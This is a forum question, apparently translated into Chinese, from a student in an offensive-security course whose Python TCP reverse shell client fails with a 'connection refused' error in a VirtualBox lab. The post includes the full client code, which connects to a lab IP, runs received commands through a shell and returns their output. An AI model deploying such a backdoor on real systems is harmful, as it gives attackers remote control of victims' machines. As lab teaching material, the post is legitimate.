运行TCP反向shell时出错

我对socket很陌生,目前正在参加一个关于攻击性笔试的在线课程。其中一个教训是TCP反向shell。我在不同的虚拟机上运行两个脚本(使用VirtualBox),一个是攻击者,另一个是目标。攻击者脚本运行正常,但客户端正在输出错误:

Traceback (most recent call last):
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect 
      s.connect(('10.0.2.15', 8080))
   File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
error: [Errno 10061] No connection could be made because the target machine actively refused it

和我的代码:

import socket
import subprocess

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.0.2.15', 8080))

    while True:
        command = s.recv(1024)

        if 'terminate' in command:
            s.close()
            break
        else:

            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send(CMD.stdout.read())
            s.send(CMD.stdout.read())

def main():
    connect()
main()

我不知道你是否需要看另一个脚本来回答我的问题,如果需要,请告诉我。任何帮助都将不胜感激。